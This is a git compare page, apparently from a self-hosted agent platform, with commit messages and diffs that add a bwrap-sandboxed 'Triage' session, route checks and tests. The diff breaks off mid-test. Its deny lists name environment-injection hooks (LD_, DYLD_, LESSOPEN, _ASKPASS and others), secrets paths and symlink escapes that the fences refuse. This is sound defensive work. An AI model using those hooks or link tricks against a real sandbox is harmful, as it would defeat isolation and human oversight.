Compare commits

...
Author SHA1 Message Date
jason.woltje b39d5e2ff3 fix(unslop-hook): review round, the Stop fallback logs late: true and the comment names the two stale cases left: an input with no last_assistant_message, and a reply whose text equals the last turn's last reply; cli.mjs notes that the packs-http read is the tested gate for system-only templates (#1873, lane triage-followups) 2026-11-16 16:05:43 -06:00
jason.woltje c85c768a4a fix(webui): the first render's heading focus leaves an open drawer or dialog alone: a reader who opened the Triage drawer, an agent drawer, the narrow-screen menu or a dialog before the first render ended keeps focus there; on load a second render can draw the agents rows while the first still reads, so the agent drawer had the same fault (#1873, lane triage-followups) 2026-11-16 15:54:12 -06:00
jason.woltje b7649ecd73 fix(webui): the workflows read leaves out system-only templates
The workflows read listed the triage template, which only the client hid.
The read handler now drops every template the organization vocabulary marks
system-only, and the Console's read supplier in cli.mjs drops them too. The
client filter stays. (#1873, lane triage-followups)
2026-11-16 15:46:57 -06:00
jason.woltje 0354452971 fix(unslop-hook): the Claude Stop hook waits for the turn to reach the transcript
Claude Code 2.1.319, 2.1.322 and 2.1.325 can run the Stop hook before they
write the turn to the transcript. The hook then read the last turn's reply,
logged it a second time, and missed this turn's reply. That made
claude-session.test.mjs row 66 red in most runs.

The hook now reads the transcript again, for up to 2 s, until its last reply
matches last_assistant_message. If it never does, it checks
last_assistant_message alone with an empty entryId, never the last turn
again. (#1873, lane triage-followups)
2026-11-16 15:45:09 -06:00
jason.woltje bbbefb3f28 fix(webui): triage fences re-check, only HOME may hold the stack's code: the code root names its holder, which must be a protected path, and no other protected path sets a source aside; a code root in or around the run dir or a fixed path is refused in either path's real spelling too; the mount, install root and protected lists are copied once so a changing list cannot pass one check and feed another; the refuse list adds PERLLIB, LESSOPEN, LESSCLOSE, HOSTALIASES and names ending _ASKPASS, _CA_BUNDLE or _BASE_URL (#1873, lane triage-fences) 2026-11-16 15:34:31 -06:00
jason.woltje 2f91ff5bea fix(webui): triage fences review, HOME is not counted against the stack's own code: a caller's protected path that holds the code root sets aside a source whose named and real paths both lie in it, never the run dir or a fixed path, so pi starts from a copy or worktree under HOME; a refusal at the binds answers triage-route-invalid and removes what the start wrote; each mount field is read once and no dest lies in or around another; values refuse every C0 and C1 control and U+2028/U+2029; the token shape drops the m flag; the refuse list adds MALLOC_, NPM_CONFIG_, XDG_, names ending _DIR, _CONF or _CONFIG, and the libc, shell, OpenSSL and Java hooks (#1873, lane triage-fences) 2026-11-16 15:34:31 -06:00
jason.woltje 1ca3a38f86 feat(webui): triage fences, the host checks a copy of the route's answer before anything is written or spawned: harnessEnv names must be declared by the harness module and are refused outright when MOSAIC_, NODE_, LD_, DYLD_, PYTHON, BASH_, GIT_, PATH, HOME, TMPDIR, ENV, a founder or a provider name; values are short clean strings; route env holds only the proxy's two names with a loopback base URL, and the host's port and token shape when given; the adapter and at most 8 mounts resolve inside the module's install roots and never in or around the data root, the config dir, HOME, /srv/mosaic or a secrets path, with dests clear of /tmp, the run dir and the system binds, checked again in hostedBinds; a refused answer answers triage-route-invalid and leaves a host line (#1873, lane triage-fences) 2026-11-16 15:34:31 -06:00
jason.woltje cb80b2b8a8 fix(webui): triage drawer re-check notes, a scrolled-up reader keeps the right one of two identical lines in view, the unsafe-directory answer no longer says Triage did not start since it can come while a session runs, and the text cleaner removes every default-ignorable character (#1873, lane triage-drawer) 2026-11-16 15:04:49 -06:00
jason.woltje fd300b4fe3 fix(webui): triage drawer review, a scrolled-up reader keeps the line in view when the oldest lines drop at the 200-line cap, a failed start says the message is in the conversation and was not delivered, a read that turns sending off hides the box and keeps the draft, and the text cleaner removes every control, format, separator and invisible character (#1873, lane triage-drawer)
The test helper opens the drawer after the page's first render has focused its heading, as a person
would. A drawer opened before that loses focus to the heading (bus.js); that is left as a follow-up.
2026-11-16 14:51:27 -06:00
jason.woltje a88302d6eb feat(webui): triage drawer, the instance owner opens Triage from the top bar and reads its state, health and transcript, and sends a message when the route allows it; nobody else gets the entry, the markup or a request (#1873, lane triage-drawer)
The drawer reads GET /api/triage only while open. A poll keeps the draft and the reader's scroll place.
Every field is set as text. Cards show the command with no Run button, and the dropped count.
The send box shows only when config triageSend and the read's send are both true. It names each
answer in plain words, never resends, and keeps the draft after a refusal.
Workflows: Save with only the state changed in an add form says the step is not added yet and keeps
the form. The step picker no longer offers the system-only triage template.
2026-11-16 14:36:07 -06:00
jason.woltje 820f45e474 fix(webui): triage final review, a reply names only a message id the host issued: the relay keeps in_reply_to only when it is an owner message id and drops anything else, so no model-written string reaches the transcript or the GET unchecked; the text cleaner also removes U+061C, U+180E, U+2028, U+2029 and U+FEFF (#1873, lane triage-host) 2026-11-16 14:05:46 -06:00
jason.woltje 2e9a2068bd fix(webui): triage re-check, the organization reads share one deadline, a reply that names its message answers it, every queued message leaves the queue with a host line when the session ends, and a launcher that cannot run is a failed start (#1873, lane triage-host) 2026-11-16 13:23:41 -06:00
jason.woltje fe6c22e0f2 fix(webui): triage-host review, the owner reaches the routes on an organizations Console, a second start answers, an unanswered or undelivered message gets a host line and leaves the queue (#1873, lane triage-host)
P1-1: the organizations branch lets the instance owner's own session through to the two Triage paths;
everyone else still gets this Console's unknown /api/ answer.
P1-2: each start clears turns/, so the runner's numbered turn files do not collide on restart.
P2-1: on exit, a message the session took and never marked read leaves the queue with a host line.
P2-2: member, signed-out, organizations-Console and org-selected route tests.
P3-1: bus-start cards carry --dev-local-owner on a dev local owner Console.
P3-2: a failed start writes a host line; the queue index is guarded.
P3-3: one shared refresh, a unique temp name per write, four organizations read at a time.
P3-4: the restart path waits for stop() inside its two-second exit.
P3-5: ANTHROPIC_API_KEY no longer passes from the route.
2026-11-16 13:23:41 -06:00
jason.woltje 9eed814d3c feat(webui): triage cap, the host holds the route's over-cap answer until its time (at most two days ahead, ISO only) and refuses without asking again; the read shows overCapUntil and a plain cap message (#1873, lane triage-host) 2026-11-16 13:23:41 -06:00
jason.woltje 7ee606cda2 feat(webui): triage routes, GET /api/triage and POST /api/triage/message for the instance owner only; everyone else gets the unknown-route answer, the write needs --send and the same-origin checks, production wires no route so the read says not set (#1873, lane triage-host) 2026-11-16 13:23:41 -06:00
jason.woltje b2d52b57c1 feat(webui): triage host and relay, a sandboxed session on the owner's first message (#1873, lane triage-host)
The Console holds <dataRoot>/triage/ (0700): health/ mounted read-only at
work/health inside the session, agent/ the session's own run directory, and
host/ with the 0600 transcript and the runner's log, never mounted. The seat
package's new hostedBinds and hostedArgv give the session the system part,
the runner's files, the adapter and those two directories, and nothing else
of the data root: no org root, bus socket, config or secrets, and no git
identity. Each source inside agent/ is made fresh at start (rm never follows
a link), and hostedBinds refuses a link in place of any of them.

The spawn environment is PATH (fixed), LANG, LC_ALL, TZ, TERM and the
route's ANTHROPIC_BASE_URL, ANTHROPIC_AUTH_TOKEN or ANTHROPIC_API_KEY; bwrap
sets HOME and TMPDIR. A route answer whose harnessEnv names MOSAIC_CONFIG,
a MOSAIC_BUS_ variable or a founder credential variable is refused.

The relay is the only broker the runner reaches. It answers the runner's
lifecycle verbs with fixed answers, hands over the owner's messages, and keeps
a message.send only when it is addressed to "human": its text goes to the
transcript with its cards checked. Every other verb, a send to anyone else
and a call without the capability are refused with triage-refused.

The model route is injected; without one nothing launches (triage-no-route),
and a route over its cap refuses with triage-over-cap and its until. The
tests run the session end to end under bwrap with a stub adapter.
2026-11-16 13:23:41 -06:00
jason.woltje cbf1836bd7 feat(webui): triage health snapshot and command cards (#1873, lane triage-host)
The snapshot is one 0600 JSON file with a fixed field list: the Console's
answer, the model proxy unit, the system config check, and each active org's
bus state, last start, processing and org config check. States, times, counts
and codes only; a read that fails or hangs says "not read". The system config
check runs scripts/mosaic-config.mjs validate in a child with stdout ignored and
keeps the exit code and one fixed refusal code; the org config check keeps its
exit code only. Cards are { step, org } with a known step and a registered org;
the server renders the command and drops anything else.
2026-11-16 13:23:41 -06:00
28 changed files with 3582 additions and 31 deletions

No files matched your search

+18
View File
@@ -258,6 +258,24 @@ export returns:
`gateTimeout`, `bundle`, `env`, `turnEnd`, `outputPolicy` and `transcript` give its
sandbox binds, web, tool names, S0 lines, bundle files, adapter variables,
how a turn ends and where its transcripts land.
- `envNames` and `installRoots({env})` (#1873 triage-fences) are optional and
outside `kinds.mjs`. A session the Console hosts with no organization
(Triage) reads them; organization launches do not. `envNames` lists the
names `env()` returns, less the provider's. The host takes a route's
`harnessEnv` name only when it is listed here and is not one the host
always refuses: `MOSAIC_*`, `NODE_*`, `LD_*`, `DYLD_*`, `PYTHON*`, `BASH_*`,
`GIT_*`, `MALLOC_*`, `NPM_CONFIG_*`, `XDG_*`, any name ending in `_DIR`,
`_CONF` or `_CONFIG`, PATH, HOME, TMPDIR, ENV, the founder's and the
provider's names, and named shell, proxy, libc, OpenSSL and Java hooks. `installRoots` lists the directories
where the adapter and the mounts live. A hosted adapter or mount source
must resolve inside one of them, and never in or around the data root,
the config directory, HOME, `/srv/mosaic` or a path with a `secret`
segment. HOME does not count against a source inside the stack's own
code, so a copy or a worktree under HOME still passes. Every claude-code
name is `MOSAIC_*`, so a hosted session cannot run Claude Code yet. pi's
`MOSAIC_TOOLS`, `MOSAIC_EXTENSIONS` and `MOSAIC_THINKING` are refused the
same way, so a hosted pi gets no tools and no extension until the host
sets those names itself.
- `compactions({store, cursors, budget, streams, first})` reads a thread
session's native store for row 270's compaction count (row 307). Core keeps
the ledger (`packages/seat/src/compactions.mjs`) and passes `store` as
+11 -1
View File
@@ -6,7 +6,7 @@
// session.json. packages/plugins/README.md lists the interface.
import { spawnSync } from "node:child_process";
import { accessSync, constants, realpathSync, statSync } from "node:fs";
import { delimiter, isAbsolute, join } from "node:path";
import { delimiter, dirname, isAbsolute, join } from "node:path";
import { fileURLToPath } from "node:url";
import { claudeBuiltins, MCP_PREFIX } from "../../../harness/src/gate.mjs";
import { hasSessionCredential, SESSION_CREDENTIALS } from "../../../seat/src/session.mjs";
@@ -145,6 +145,16 @@ export function env({ files, policy, session, proxy = null }) {
};
}
// #1873 triage-fences: the names env() returns, less the proxy's, and the directories its adapter
// and mounts live in: the pinned binary's when MOSAIC_CLAUDE_BIN is set. A hosted session's host
// (Triage) takes harnessEnv names and mount sources only from these; launches don't read them.
export const envNames = Object.freeze(["MOSAIC_TOOLS", "MOSAIC_CLAUDE_SETTINGS", "MOSAIC_CLAUDE_MCP_CONFIG", "MOSAIC_THINKING", "MOSAIC_MODEL_ACTIVITY_SOURCE"]);
export function installRoots({ env = {} } = {}) {
const roots = [join(REPO, "adapters", "claude"), join(REPO, "tools", "unslop-hook")];
if (env.MOSAIC_CLAUDE_BIN) roots.push(dirname(realpathSync(env.MOSAIC_CLAUDE_BIN)));
return roots;
}
// A turn ends when claude exits; there is no marker.
export const turnEnd = () => "exit";
export const transcript = ({ runDir, store = null }) => (store ? store.projects : join(runDir, "home", ".claude", "projects"));
+8
View File
@@ -118,6 +118,14 @@ export function env({ policy, tools, session, proxy = null }) {
};
}
// #1873 triage-fences: the names env() returns, less the provider key, and the directories its
// adapter and mounts live in. A hosted session's host (Triage) takes harnessEnv names and mount
// sources only from these; launches don't read them. The host refuses every MOSAIC_* name from a
// route, so MOSAIC_TOOLS, MOSAIC_EXTENSIONS and MOSAIC_THINKING are listed only to say what env()
// hands a session: a hosted pi needs the host to set them itself (a later slice).
export const envNames = Object.freeze(["PI_OFFLINE", "MOSAIC_TOOLS", "MOSAIC_EXTENSIONS", "PI_PROVIDER", "PI_MODEL", "MOSAIC_THINKING"]);
export const installRoots = () => [join(REPO, "adapters", "pi"), join(REPO, "packages", "plugins", "harness", "pi"), realpathSync(join(REPO, "node_modules")), join(REPO, "tools", "unslop-hook")];
// The extension writes the turn marker at agent_end; an exit without it is a failed turn.
export const turnEnd = () => "marker";
export const transcript = ({ runDir, store = null }) => (store ? store.session : join(runDir, "session"));
+150 -1
View File
@@ -34,7 +34,7 @@
// the launch (sandbox-unavailable).
import { spawnSync } from "node:child_process";
import { existsSync, lstatSync, mkdirSync, readlinkSync, realpathSync } from "node:fs";
import { existsSync, lstatSync, mkdirSync, readlinkSync, realpathSync, statSync } from "node:fs";
import { dirname, isAbsolute, join, relative, resolve } from "node:path";
import { fileURLToPath } from "node:url";
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
@@ -193,6 +193,155 @@ export function sandboxArgv(list, runDir, command, { business, role, bwrap = BWR
return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", ...identity, "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command];
}
// #1873 triage-fences: what a model route may hand a hosted session, checked before the host
// writes anything and again in hostedBinds. The adapter and each mount's source must be a clean
// absolute path whose real path lies under one of the harness module's install roots, named under
// that same root, and outside every protected path: the data root, the config directory and HOME
// the caller passes, the run directory, ALWAYS_PROTECTED, and any path with a segment that
// contains "secret" in any case. A protected path counts in its own spelling and its real path, and
// a source may neither lie inside one nor contain one. The bind's source is the real path, so a
// link swapped after the check cannot steer it. A mount's dest (its source when it names none) is
// never /tmp, the run directory or a system bind's dest, nor inside or around one, never a parent
// of or equal to a runner file, the adapter or node, and never in or around another mount's dest.
// At most HOSTED_MOUNTS_MAX mounts. A refusal is a HostedRouteError naming its fence, never a path.
// `codeRoot` is the stack's own code and `codeHolder` the one protected path that may hold it:
// HOME, when the stack runs from a copy or a worktree under it. That path does not refuse a source
// whose named and real paths both lie in the code root. Every other check still applies to it, and
// no other protected path, the run directory or ALWAYS_PROTECTED is ever set aside. A code root in
// or around the run directory or ALWAYS_PROTECTED, in either path's spelling or real path, is refused.
export const HOSTED_MOUNTS_MAX = 8;
const ROOTS_MAX = 16;
const PATH_MAX = 4096;
const ALWAYS_PROTECTED = Object.freeze(["/srv/mosaic", "/proc", "/sys", "/dev", "/run", "/root", "/boot"]);
const MOUNT_KEYS = Object.freeze(["src", "dest", "why"]);
export class HostedRouteError extends Error {
constructor(fence, message) {
super(`hosted binds: ${message}`);
this.code = "hosted-binds-refused";
this.fence = fence;
}
}
const refuseRoute = (fence, message) => { throw new HostedRouteError(fence, message); };
// Absolute, already normal (no "..", ".", "//" or trailing slash), not "/", no NUL.
const cleanPath = (p) => typeof p === "string" && p.length > 1 && p.length <= PATH_MAX && !p.includes("\0") && isAbsolute(p) && resolve(p) === p;
const within = (child, parent) => child === parent || child.startsWith(parent + "/");
const overlaps = (a, b) => within(a, b) || within(b, a);
const secretPath = (p) => p.split("/").some((seg) => /secret/i.test(seg));
const realOr = (p) => { try { return realpathSync(p); } catch { return p; } };
const plainObject = (o) => o !== null && typeof o === "object" && !Array.isArray(o) && [Object.prototype, null].includes(Object.getPrototypeOf(o));
export function checkHostedRoute({ adapter, harnessMounts, installRoots, protectedPaths, codeRoot = null, codeHolder = null, runDir, node = process.execPath }) {
if (!cleanPath(runDir)) refuseRoute("protected", "the run directory is not a clean absolute path");
if (!Array.isArray(protectedPaths)) refuseRoute("protected", "no protected paths were given");
// Lists are copied once, so a Proxy cannot answer one length to a check and another to the map.
protectedPaths = Array.from(protectedPaths);
let code = null;
if (codeRoot !== null) {
if (!cleanPath(codeRoot)) refuseRoute("protected", "the code root is not a clean absolute path");
if (!protectedPaths.includes(codeHolder)) refuseRoute("protected", "the code root's holder is not a protected path");
code = [codeRoot, realOr(codeRoot)];
const fixed = [runDir, ...ALWAYS_PROTECTED].flatMap((g) => [g, realOr(g)]);
if (code.some((c) => fixed.some((g) => overlaps(c, g)))) refuseRoute("protected", "the code root is in or around a path that is never set aside");
}
// Each guarded entry: its spellings, and whether a source in the code root is clear of it.
const guarded = [];
for (const [p, mayHoldCode] of [...ALWAYS_PROTECTED.map((g) => [g, false]), ...protectedPaths.map((g) => [g, g === codeHolder]), [runDir, false]]) {
if (!cleanPath(p)) refuseRoute("protected", "a protected path is not a clean absolute path");
const spellings = [p, realOr(p)];
const holdsCode = mayHoldCode && code !== null && spellings.some((g) => code.some((c) => c !== g && within(c, g)));
guarded.push({ spellings, holdsCode });
}
if (!Array.isArray(installRoots)) refuseRoute("roots", "the harness module declares no usable install roots");
installRoots = Array.from(installRoots);
if (installRoots.length === 0 || installRoots.length > ROOTS_MAX) refuseRoute("roots", "the harness module declares no usable install roots");
const roots = installRoots.map((r) => {
if (!cleanPath(r)) refuseRoute("roots", "an install root is not a clean absolute path");
let real;
try { real = realpathSync(r); } catch { refuseRoute("roots", "an install root is missing"); }
if (real === "/" || !statSync(real).isDirectory()) refuseRoute("roots", "an install root is not a directory");
return { named: r, real };
});
const source = (src, fence, what) => {
if (!cleanPath(src)) refuseRoute(fence, `${what} is not a clean absolute path`);
let real;
try { real = realpathSync(src); } catch { refuseRoute(fence, `${what} is missing`); }
if (!roots.some((r) => (within(src, r.named) || within(src, r.real)) && within(real, r.real))) refuseRoute(fence, `${what} is not under an install root`);
const inCode = code !== null && code.some((c) => within(src, c)) && within(real, code[1]);
if (guarded.some((g) => !(g.holdsCode && inCode) && [src, real].some((p) => g.spellings.some((s) => overlaps(p, s))))) refuseRoute(fence, `${what} is in or around a protected path`);
if ([src, real].some(secretPath)) refuseRoute(fence, `${what} is in a secrets path`);
return real;
};
const adapterReal = source(adapter, "adapter", "the adapter");
if (!statSync(adapterReal).isFile()) refuseRoute("adapter", "the adapter is not a file");
if (!Array.isArray(harnessMounts)) refuseRoute("mounts", `a hosted session takes at most ${HOSTED_MOUNTS_MAX} harness mounts`);
harnessMounts = Array.from(harnessMounts);
if (harnessMounts.length > HOSTED_MOUNTS_MAX) refuseRoute("mounts", `a hosted session takes at most ${HOSTED_MOUNTS_MAX} harness mounts`);
const apart = ["/tmp", runDir, ...systemBinds(node).map((b) => b.dest ?? b.src)];
const kept = [...RUNNER_FILES, adapter, node];
const dests = [];
const mounts = harnessMounts.map((m, i) => {
const what = `harness mount ${i + 1}`;
if (!plainObject(m) || Object.keys(m).some((k) => !MOUNT_KEYS.includes(k))) refuseRoute("mounts", `${what} is not { src, dest, why }`);
// Each field is read once, so a getter cannot answer one value to a check and another to the bind.
const { src, dest: named, why } = m;
if (typeof why !== "string" || !why || why.length > 256) refuseRoute("mounts", `${what} is not { src, dest, why }`);
if (named !== undefined && !cleanPath(named)) refuseRoute("mount-dest", `${what}'s dest is not a clean absolute path`);
const real = source(src, "mount-src", what);
const dest = named ?? src;
if (apart.some((p) => overlaps(dest, p)) || kept.some((p) => within(p, dest)) || dests.some((d) => overlaps(dest, d))) refuseRoute("mount-dest", `${what}'s dest would cover a path the session needs`);
dests.push(dest);
return { src: real, dest, why };
});
return { adapter: { src: adapterReal, dest: adapter }, mounts };
}
// #1873 triage-host: the binds for a session the Console hosts in no organization (Triage). It
// gets the system part, the runner's files, the adapter and the harness module's mounts like any
// session, and from the data root exactly two directories: its own `runDir` read-write, and
// `healthDir` read-only over runDir/work/health, inside the workspace the read tools' gate allows. The run's bundle/, session.json and the relay socket the runner
// calls through stay read-only inside it, and its tmp/ is /tmp. There is no workspace, broker,
// launch or git socket, thread store or org root. Each source inside runDir must be what the host
// just made there, never a link the session left: bwrap resolves a bind's source on the host.
// The adapter and the mounts pass checkHostedRoute against `installRoots`, `protectedPaths` and
// `codeRoot` with its `codeHolder` here too; without install roots nothing binds.
export function hostedBinds({ runDir, healthDir, adapter, harnessMounts = [], installRoots, protectedPaths, codeRoot = null, codeHolder = null, relaySocket, node = process.execPath, readOnly = [] }) {
if (relaySocket !== join(runDir, "relay.sock")) throw new Error("hosted binds: the relay socket must be the run directory's relay.sock");
const healthDest = join(runDir, "work", "health");
for (const p of [runDir, healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work"), healthDest]) {
let st;
try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is missing`); }
if (st.isSymbolicLink() || !st.isDirectory()) throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is not a directory`);
}
for (const [p, ok] of [[join(runDir, "session.json"), (st) => st.isFile()], [relaySocket, (st) => st.isSocket()]]) {
let st;
try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${relative(runDir, p)} is missing`); }
if (!ok(st)) throw new Error(`hosted binds: ${relative(runDir, p)} is not what the host made`);
}
const route = checkHostedRoute({ adapter, harnessMounts, installRoots, protectedPaths, codeRoot, codeHolder, runDir, node });
const out = systemBinds(node);
for (const f of RUNNER_FILES) out.push({ kind: "ro", src: f, why: "a repository file the runner loads" });
out.push({ kind: "ro", src: route.adapter.src, ...(route.adapter.src !== adapter ? { dest: adapter } : {}), why: "the harness adapter the runner starts each turn" });
for (const m of route.mounts) out.push({ kind: "ro", src: m.src, ...(m.dest !== m.src ? { dest: m.dest } : {}), why: m.why });
for (const f of readOnly) out.push({ kind: "ro", src: f, why: "a test fixture" });
out.push(
{ kind: "rw", src: runDir, why: "the session's own state: turns/, session/, work/, tools.sock, turn.done, home/, tmp/" },
{ kind: "ro", src: healthDir, dest: healthDest, why: "the health snapshots the Console writes, read-only, inside the workspace the read tools reach" },
{ kind: "ro", src: join(runDir, "bundle"), why: "the run's bundle stays as the host wrote it" },
{ kind: "ro", src: join(runDir, "session.json"), why: "the session file stays as the host wrote it" },
{ kind: "ro", src: relaySocket, why: "the host's relay, the only broker the runner reaches" },
{ kind: "rw", src: join(runDir, "tmp"), dest: "/tmp", why: "a private /tmp, on disk in the run directory" },
);
return out;
}
// The command line for a hosted session: as sandboxArgv, with no git identity, since a hosted
// session belongs to no organization and holds no git verb.
export function hostedArgv(list, runDir, command, { bwrap = BWRAP } = {}) {
return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command];
}
// Whether bwrap runs here at all: the namespaces and the system binds, then
// setpriv and `true`. Returns null, or why not.
export function sandboxProblem({ bwrap = BWRAP } = {}) {
+217
View File
@@ -0,0 +1,217 @@
// #1873 triage-host: the binds of a session the Console hosts in no organization. From the data root
// it gets its own run directory and the health directory, read-only, and nothing else; every source
// inside the run directory must be what the host made, never a link.
import { test } from "node:test";
import assert from "node:assert/strict";
import { createServer } from "node:net";
import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs";
import { dirname, join } from "node:path";
import { HOSTED_MOUNTS_MAX, RUNNER_FILES, checkHostedRoute, hostedArgv, hostedBinds } from "../src/sandbox.mjs";
function layout(t) {
const root = mkdtempSync(join(process.env.TMPDIR, "hb-"));
const dataRoot = join(root, "data");
const runDir = join(dataRoot, "triage", "agent");
const healthDir = join(dataRoot, "triage", "health");
for (const d of [join(dataRoot, "orgs"), join(dataRoot, "triage", "host"), healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work", "health")]) mkdirSync(d, { recursive: true });
writeFileSync(join(runDir, "session.json"), "{}");
const install = join(root, "install");
mkdirSync(install);
const adapter = join(install, "adapter.sh");
writeFileSync(adapter, "exit 0\n");
return new Promise((resolve) => {
const server = createServer().listen(join(runDir, "relay.sock"), () => {
t.after(() => server.close());
resolve({ root, dataRoot, runDir, healthDir, adapter, install, relaySocket: join(runDir, "relay.sock"), installRoots: [install], protectedPaths: [dataRoot] });
});
});
}
test("hosted binds hold the run directory and the health directory of the data root, and nothing else of it", async (t) => {
const p = await layout(t);
const list = hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths });
const fromData = list.filter((b) => typeof b.src === "string" && b.src.startsWith(p.dataRoot + "/"));
assert.deepEqual(fromData.map((b) => [b.kind, b.src, b.dest ?? null]), [
["rw", p.runDir, null],
["ro", p.healthDir, join(p.runDir, "work", "health")],
["ro", join(p.runDir, "bundle"), null],
["ro", join(p.runDir, "session.json"), null],
["ro", p.relaySocket, null],
["rw", join(p.runDir, "tmp"), "/tmp"],
]);
for (const f of RUNNER_FILES) assert.ok(list.some((b) => b.kind === "ro" && b.src === f), f);
assert.ok(list.some((b) => b.kind === "ro" && b.src === p.adapter));
assert.ok(!list.some((b) => b.src === p.root || b.src === p.dataRoot || (typeof b.src === "string" && b.src.startsWith(join(p.dataRoot, "orgs")))));
assert.ok(!list.some((b) => b.src === process.env.HOME || b.dest === process.env.HOME));
assert.ok(list.every((b) => typeof b.why === "string" && b.why.length > 0));
});
test("hosted binds refuse a relay socket elsewhere, and any source in the run directory that the host did not make", async (t) => {
const p = await layout(t);
const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths };
assert.throws(() => hostedBinds({ ...base, relaySocket: join(p.root, "bus.sock") }), /relay socket must be the run directory's relay\.sock/);
// A link in place of each directory the binds read: bwrap would follow it on the host.
for (const d of ["bundle", "tmp", "work"]) {
rmSync(join(p.runDir, d), { recursive: true });
symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, d));
assert.throws(() => hostedBinds(base), /is not a directory/, d);
rmSync(join(p.runDir, d));
mkdirSync(join(p.runDir, d === "work" ? join("work", "health") : d), { recursive: true });
}
rmSync(join(p.runDir, "work", "health"), { recursive: true });
symlinkSync(join(p.dataRoot, "triage", "host"), join(p.runDir, "work", "health"));
assert.throws(() => hostedBinds(base), /is not a directory/);
rmSync(join(p.runDir, "work", "health"));
mkdirSync(join(p.runDir, "work", "health"));
rmSync(join(p.runDir, "session.json"));
symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, "session.json"));
assert.throws(() => hostedBinds(base), /session\.json is not what the host made/);
rmSync(join(p.runDir, "session.json"));
writeFileSync(join(p.runDir, "session.json"), "{}");
assert.throws(() => hostedBinds({ ...base, healthDir: join(p.root, "absent") }), /the health directory is missing/);
hostedBinds(base);
});
test("the hosted command line sets no git identity and runs the command under the namespaces", async (t) => {
const p = await layout(t);
const argv = hostedArgv(hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths }), p.runDir, ["node", "runner.mjs", p.runDir], { bwrap: "/b/bwrap" });
assert.equal(argv[0], "/b/bwrap");
assert.deepEqual(argv.slice(1, 5), ["--unshare-user", "--unshare-pid", "--unshare-ipc", "--as-pid-1"]);
assert.deepEqual(argv.slice(-3), ["node", "runner.mjs", p.runDir]);
assert.ok(!argv.some((a) => a.startsWith("GIT_")));
const home = argv.indexOf("HOME");
assert.equal(argv[home + 1], join(p.runDir, "home"));
assert.ok(argv.includes("--remount-ro"));
});
// #1873 triage-fences: hostedBinds checks the adapter and the mounts again, so a caller that skips
// the host's own check still binds nothing outside the install roots.
test("hosted binds refuse without install roots or protected paths, and refuse an adapter or a mount source outside the roots or in a protected path", async (t) => {
const p = await layout(t);
const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths };
const refused = (opts, fence, label) => assert.throws(() => hostedBinds({ ...base, ...opts }), (e) => e.code === "hosted-binds-refused" && e.fence === fence, label);
refused({ installRoots: undefined }, "roots", "no roots");
refused({ installRoots: [] }, "roots", "empty roots");
refused({ installRoots: ["/"] }, "roots", "root /");
refused({ installRoots: [join(p.root, "absent")] }, "roots", "missing root");
refused({ installRoots: [p.adapter] }, "roots", "a file as root");
refused({ protectedPaths: undefined }, "protected", "no protected paths");
refused({ protectedPaths: ["relative"] }, "protected", "relative protected path");
writeFileSync(join(p.root, "out.sh"), "x");
refused({ adapter: join(p.root, "out.sh") }, "adapter", "adapter outside");
symlinkSync(join(p.root, "out.sh"), join(p.install, "link.sh"));
refused({ adapter: join(p.install, "link.sh") }, "adapter", "adapter link out");
refused({ adapter: p.install }, "adapter", "adapter is a directory");
refused({ harnessMounts: [{ src: join(p.install, "link.sh"), why: "w" }] }, "mount-src", "mount link out");
refused({ harnessMounts: [{ src: join(p.dataRoot, "orgs"), why: "w" }], installRoots: [p.root] }, "mount-src", "mount in the data root");
refused({ harnessMounts: [{ src: p.root, why: "w" }], installRoots: [p.root] }, "mount-src", "mount around the data root");
mkdirSync(join(p.install, "secrets"));
writeFileSync(join(p.install, "secrets", "k"), "x");
refused({ harnessMounts: [{ src: join(p.install, "secrets", "k"), why: "w" }] }, "mount-src", "mount in secrets");
writeFileSync(join(p.install, "m"), "x");
refused({ harnessMounts: Array.from({ length: HOSTED_MOUNTS_MAX + 1 }, (_, i) => ({ src: join(p.install, "m"), dest: `/opt/m${i}`, why: "w" })) }, "mounts", "too many");
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: "/tmp/m", why: "w" }] }, "mount-dest", "dest under /tmp");
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: p.runDir, why: "w" }] }, "mount-dest", "dest is the run dir");
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: join(p.runDir, "session.json"), why: "w" }] }, "mount-dest", "dest is session.json");
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: "/usr", why: "w" }] }, "mount-dest", "dest is a system bind");
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: dirname(RUNNER_FILES[0]), why: "w" }] }, "mount-dest", "dest holds a runner file");
refused({ harnessMounts: [{ src: join(p.install, "m"), why: "w", kind: "rw" }] }, "mounts", "a kind of its own");
});
test("hosted binds bind the real file of a link that stays inside the install root, at the path the route named", async (t) => {
const p = await layout(t);
writeFileSync(join(p.install, "real.mjs"), "x");
symlinkSync(join(p.install, "real.mjs"), join(p.install, "named.mjs"));
symlinkSync(p.adapter, join(p.install, "adapter-link.sh"));
const list = hostedBinds({
